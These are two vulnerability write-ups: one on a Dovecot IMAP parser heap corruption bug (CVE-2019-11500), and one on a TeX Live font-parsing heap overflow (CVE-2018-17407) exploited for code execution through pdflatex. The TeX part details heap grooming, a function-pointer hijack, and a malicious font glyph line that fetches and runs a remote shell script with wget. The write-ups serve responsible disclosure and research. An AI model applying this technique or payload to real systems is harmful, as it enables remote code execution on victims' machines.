A Remote Pre-Auth Memory Corruption Vulnerability in Dovecot

Summary
We found a heap memory corruption vulnerability in Dovecot, the world’s most widely deployed email server implementation. Dovecot has a market share of about 75% with ~5 million live hosts [1]. The vulnerability can be triggered remotely, it does not require authentication on the target server, and the vulnerability has been present for at least 30 years. This vulnerability—like so many others—results from a relatively simple string manipulation error in C.

The vulnerability was publicly disclosed in August 2019. It has been fixed in Dovecot version 2.3.7.2 and Pigeonhole version 2.2.36.4. The vulnerability is server-side, which means only your email provider needs to patch their software. Dovecot awarded us a $5k bounty on HackerOne for this vulnerability; it is rated 9.8/10 in severity by the NVD. This project was joint work with Rafi Rubin.

Fuzzing Harness
We found CVE-2019-11500 by fuzzing IMAP sessions with AFL. Our fuzzing sessions were run on a machine with 48 cores and 396GB RAM. We modified both AFL and Dovecot to build a workable and efficient fuzzing pipeline. Each fuzzing thread’s mail directory was mounted on a RAM disk that reset after each execution so that IMAP sessions were deterministic. For improved performance, we piped the output of the fuzzer directly to the IMAP parser to bypass the networking layer.

Part 1: The vulnerability
The bug behind the vulnerability is a relatively simple memory error related to handling strings. C commonly represents both strings and binary data with the char* type. Strings are null-terminated by convention, while binary data (which might contain embedded null bytes) typically requires a programmer to maintain a separate length variable. In the code below, the data variable is treated as a string in some contexts, but is loaded as simple binary data with no check for internal null bytes. This conflation, as we’ll see, results in an exploitable vulnerability.

This function scans the data array, and if an escape character (backslash) is found, it saves the index of the first escape character found into the str_first_escape field for later use. The key here is that if an escape character is present in the data array after a null byte, then the saved str_first_escape index will be set to a value larger than the actual length of data array, if and when it is actually treated as a string.

static bool imap_parser_read_string(struct imap_parser *parser,
                                    const unsigned char *data, size_t data_size)
{
	size_t i;

	/* read until we've found non-escaped ", CR or LF */
	for (i = parser->cur_pos; i < data_size; i++) {
		...
		if (data[i] == '\\') {
			/* save the first escaped char */
			if (parser->str_first_escape < 0)
				parser->str_first_escape = i;

			/* skip the escaped char */
			i++;
		}
		...
	...

Part 2: Manipulating Memory
We’ve now seen how we can set the str_first_escape index of the data array to a value larger than the location of the first null byte. In the function below, we can see how this particular system state leads to problems. A copy of data is allocated on the heap using p_strndup(). This duplication function treats the data as a string, i.e., it calculates the size of the string based on the location of first null byte, allocates that much memory, then copies the source string into the new allocation.

After that, the copied string is unescaped. If str_first_escape is not set, then there is nothing to unescape and this step is skipped. If str_first_escape is set, then str_unescape() is called on the copy; to save time, the saved str_first_escape index is added to the start of the string so that the unescape logic is already positioned at the first escape character. However, as noted above, we’ve set this value larger than the actual length of the string, thus driving the sum of str + parser->str_first_unescape out-of-bounds! Memory unsafety achieved. An attacker can set the distance between the null byte and the first escape character inside data as desired for precise control over this invalid pointer.

case ARG_PARSE_STRING:
        /* data is quoted and may contain escapes. */
        i_assert(size > 0);

        arg->type = IMAP_ARG_STRING;
        str = p_strndup(parser->pool, data+1, size-1);

        /* remove the escapes */
        if (parser->str_first_escape >= 0 &&
            (parser->flags & IMAP_PARSE_FLAG_NO_UNESCAPE) == 0) {
                /* -1 because we skipped the '"' prefix */
                (void)str_unescape(str + parser->str_first_escape-1);
        }
        arg->_data.str = str;
        arg->str_len = strlen(str);
        break;

We have now gained the ability to invoke str_unescape() on a controlled, out-of-bounds heap pointer. Let’s look at this function to assess what kind of damage we can do:

char *str_unescape(char *str)
{
	/* @UNSAFE */
	char *dest, *start = str;

	while (*str != '\\') {
		if (*str == '\0')
			return start;
		str++;
	}

	for (dest = str; *str != '\0'; str++) {
		if (*str == '\\') {
			str++;
			if (*str == '\0')
				break;
		}

		*dest++ = *str;
	}

	*dest = '\0';
	return start;
}

This code scans through bytes, performing a single level of unescaping (escaped escape characters simply become single escape characters) until a null byte is encountered. Each such escape character is removed by effectively shifting all subsequent bytes one byte to the left (towards lower addresses). This means that if N escape characters are present in memory, then an entire region of memory will be destructively shifted to the left by N bytes; the shift operation ends only when a null byte is encountered.

An example of this corruption is depicted in the figure below with a shift of N = 4 bytes. The top row shows the initial memory layout, and the bottom row shows the result of running str_unescape() on the first byte. As can be seen, the 4-byte region containing “BBBB” is corrupted to “CCCC” in a controlled fashion.

\A\A\A\ABBBBCCCC\0
AAAABBBBCCCC\0CCC\0
By combining heap arrangement techniques with the rich set of IMAP commands that are available to prepare live and freed heap memory, a clever attacker can arrange escape characters to achieve very sophisticated memory corruption capabilities. The vulnerability can be used to corrupt allocator metadata, code / data pointers, or any other memory structures in the heap. Additionally, the vulnerability can be repeatedly triggered within a single IMAP session. As a result, this is a very powerful memory corruption primitive. Remote code execution should be assumed to be possible, although we did not build a full end-to-end attack based on this vulnerability.

Thanks
We’d like to thank Aki Tuomi of the Dovecot team for quick and professional responses.

Thanks for reading! Find me on Twitter here.

Sources:
[1] https://www.open-xchange.com/about-ox/ox-blog/article/dovecots-global-market-share-grows-to-76/

Exploiting LaTeX with CVE-2018-17407

This post is about a heap memory corruption vulnerability in TeX Live, the popular distribution of LaTeX. I couldn’t resist writing a full exploit for it, so the majority of this writeup demonstrates how the bug can be leveraged for an arbitrary code execution attack when pdflatex is run on a poisoned input.

Summary
CVE-2018-17407 is a heap buffer overflow caused by the unsafe processing of Type 1 font files (.pfb files). I reported it to the developers on Sept 12, 2018, and a patch was rolled out with a public security advisory on Sept 21, 2018. It affects the following tools in the TeX Live suite: pdflatex, pdftex, dvips, and luatex. To trigger the buffer overflow a malicious font must be processed by one of the vulnerable tools. Fonts are found and loaded automatically, so a feasible attack could be mounted by planting a malicious font in a shared repository in which other users might run pdflatex. See this page for more information about affected versions and tracking. The vulnerable code was also forked by the MiKTeX project and has been fixed in MiKTeX 2.9.6840.

Vulnerability
I was initially using the AFL fuzzer on dvips, a tool for converting DVI files into PS files. DVI files are quite compact binary files which are typically converted to PDF or PostScript for visualization. The DVI filetype doesn’t support embedding fonts, so DVI files instead refer to font names they expect to find on the system during visualization. What happened is that AFL randomly mutated the name of a font in the DVI file and discovered another valid font on my own system all by itself! The font that it discovered had particularly short line lengths, which led to some false positive alerts from Address Sanitizer when parsing it. While investigating those false positives, I eventually stumbled upon the following vulnerable function by manual inspection:

static void t1_check_unusual_charstring(void)
{
	char *p = strstr(t1_line_array, charstringname) + strlen(charstringname);
	int i;
	/* if no number follows "/CharStrings", let's read the next line */
	if (sscanf(p, "%i", &amp;i) != 1) {
		strcpy(t1_buf_array, t1_line_array);
		*(strend(t1_buf_array) - 1) = ' ';
		t1_getline();
		strcat(t1_buf_array, t1_line_array);
		strcpy(t1_line_array, t1_buf_array);
		t1_line_ptr = eol(t1_line_array);
	}
}
This function handles a special case in which a logical line of the font file may be split into two input lines. It reads them both and concatenates them together into t1_buf_array with a call to strcat() — but without a bounds check! Oops—two lines are stored into the space for one. The buffers here (t1_line_array and t1_buf_array) are managed automatically with a set of macros. By crafting long lines in a .pfb file we can grow these buffers to arbitrary sizes, and then use a “/CharStrings” line to trigger the overflow. This provides us with a very powerful heap memory corruption primitive for two reasons: (1) we get to choose the size of the buffer, which gives us a high degree of influence on where the allocator positions it, and (2) we can overflow the buffer by its full (and arbitrarily chosen) size, giving us a far reach into whatever objects live in nearby memory. However, this bug isn’t triggered until closefilesandterminate() is called, which as the name suggests doesn’t leave us much time to make use of our memory corruption capability before the program exits. And secondly, strcat() doesn’t copy null bytes, which makes exploitation significantly trickier than it would be with an equivalent memcpy() overflow.

This same vulnerable function is used by other tools in TeX Live: pdflatex, pdftex, dvips and luatex. I only built an exploit for pdflatex, the most widely used of the vulnerable tools. A detail I ignore in this writeup is that .pfb include some “encrypted” (scrambled) sections as well as checksum verification, and so I built a simple .pfb file creator to convert plain-text payloads into valid pfb files to easily set file contents as desired. It’s also worth noting that this checksum verification would have prevented a blind fuzzer from reaching this vulnerability, as LaTeX stops processing a font when the checksum for a file section fails.

Exploitation
To begin evaluating how the bug might be exploited, I wrote and embedded a scanner into pdflatex that probed all of the code pointers stored in the heap to check if any of them are used in the small window of time between the overflow and pdflatex exiting. There were a couple of hits! I traced them down to the following data structure:

/* Tree data structure. */
struct avl_table
  {
    struct avl_node *avl_root;          /* Tree's root. */
    avl_comparison_func *avl_compare;   /* Comparison function. */
    void *avl_param;                    /* Extra argument to |avl_compare|. */
    struct libavl_allocator *avl_alloc; /* Memory allocator. */
    size_t avl_count;                   /* Number of items in tree. */
    unsigned long avl_generation;       /* Generation number. */
 };
TeX Live makes heavy use of AVL trees for managing generic objects, including strings, images and font glyphs. The avl_compare function pointer is used for polymorphism-like behavior in C, allowing a range of comparison functions to be implemented for different kinds of objects. By controlling avl_compare, we have the opportunity to hijack the control-flow of pdflatex when the program later uses its AVL tree. And, fortunately, these code pointers are used in the termination routines and thus serve as viable targets!

Having chosen a target structure, the next step is to arrange the heap such that the victim struct avl_table is located in memory directly after the t1_buf_array from which we can overflow. I wrote a simple brute force heap manipulator that generates LaTeX documents, and ran it to find exploitable heap layouts. After several thousand heap arrangement attempts, it found an optimal layout with a distance of only 16 bytes (the minimum possible including the allocator metadata) between the end of the buffer and the first field of the victim struct. Note that this stage would need to be rerun again for a new TeX file input although the same font payload could be reused; it’s also likely that more robust heap spraying could be done, but I didn’t spend any time doing so.

After positioning the victim struct to follow the buffer we can overflow, we can proceed to overwrite the fields of the avl_table. Because the text section of the program is mapped to low virtual addresses, code pointers have multiple null bytes in their most significant bytes (and we can’t copy null bytes with strcat()). However, we can clobber avl_root and continue writing to just the least significant bytes of avl_compare (thanks to the little endian byte ordering on x86), which is already a valid code pointer and has appropriate null bytes in the high bits of the address. This allows us to redirect avl_compare to any code location of our choosing, but to do so we must overwrite avl_root. This is indeed problematic: all code locations that make use of avl_compare first issue an access from the avl_root pointer, causing a segmentation fault before we hijack control-flow. I found I could solve this issue with a clever trick. Let’s look at the memory layout of the pdflatex process with pmap:

Address           Kbytes     RSS   Dirty Mode  Mapping
0000000000400000    2460     832       0 r-x-- pdftex
0000000000400000       0       0       0 r-x-- pdftex
0000000000867000       8       8       4 r---- pdftex
...
00007fbde01db000    1792    1296       0 r-x-- libc-2.23.so
00007fbde01db000       0       0       0 r-x-- libc-2.23.so
00007fbde039b000    2048       0       0 ----- libc-2.23.so
..
00007fbde05a5000       0       0       0 r-x-- libm-2.23.so
00007fbde06ad000    2044       0       0 ----- libm-2.23.so
...
00007fff359bd000     132      20      20 rw---   [ stack ]
ffffffffff600000       4       0       0 r-x--   [ anon ]
ffffffffff600000       0       0       0 r-x--   [ anon ]
The bottom entry is the vsyscall region. It’s conveniently mapped to the high end of the virtual address space with no ASLR. And importantly, it contains addresses with no null bytes, such as 0xffffffffff600ffc. We can then use strcat() to write this static address over avl_root, and because it’s in a readable region the avl_root load completes without crashing the program. pdflatex then proceeds to load and use our corrupted function pointer.

The last piece of the puzzle is making use of our control-flow hijack. pdflatex has a few calls to system() lying around for supporting functionality such as running shell commands. For security reasons these are disabled unless the --shell-escape flag is set, but with our control-flow hijack we can evade these checks by simply jumping to the instructions in the code after the checks have already taken place. The various call sites (and the various entry points to those call sites) give us a range of register (and stack-stored) values that we can prepare as arguments to system(). Additionally, the heap manipulator found several locations that use the corrupted AVL tree and the hijack could be launched from any of them. One of these combinations allows us to erroneously set the input register to a char * pointer that points to the name of one of the glyphs being operated on! We can use it to redirect the name of the glyph from the font file to serve as an argument to system(). Its contents are loaded into memory from reading entries like these from the .pfb file:

...
dup 45 /hyphen put
dup 46 /period put
dup 47 /slash put
dup 48 /zero put
dup 49 /one put
dup 50 /two put
dup 51 /three put
dup 52 /four put
...
Which means that we can simply modify our malicious font like so:

dup 47 /COMMAND_HERE put
And then the string “COMMAND_HERE” will be passed to system(). A last detail to clean up is that the parsing code stops reading the glyph name when it encounters a space, which at first seems quite limiting on how expressive our injected command can be. However, because sh interprets the string, we have a range of options for getting around this restriction using shell semantics. In particular, the Internal Field Separator environment variable contains a space, a tab and a newline. Alternatively, brace expansion is another way to evade the space limitation. Using the IFS method we can then replace the glyph name with:

dup 47 /wget${IFS}nickroessler.com/s${IFS}&&${IFS}chmod${IFS}+x${IFS}s${IFS}&&./s put
to encode “wget nickroessler.com/s && chmod +x s && ./s“. And voila! We can now hijack pdflatex to do as we please. In this case, LaTeX downloads a shell script from the Internet and executes it with the permissions of the pdflatex process:


The downloaded script prints “hello from shell!” before the program segfaults from its corrupted state.

Thanks
I’d like to thank Norbert Preining and Karl Berry of the TeX Live team for their professional and quick responses and for being pleasant to work with on the patch.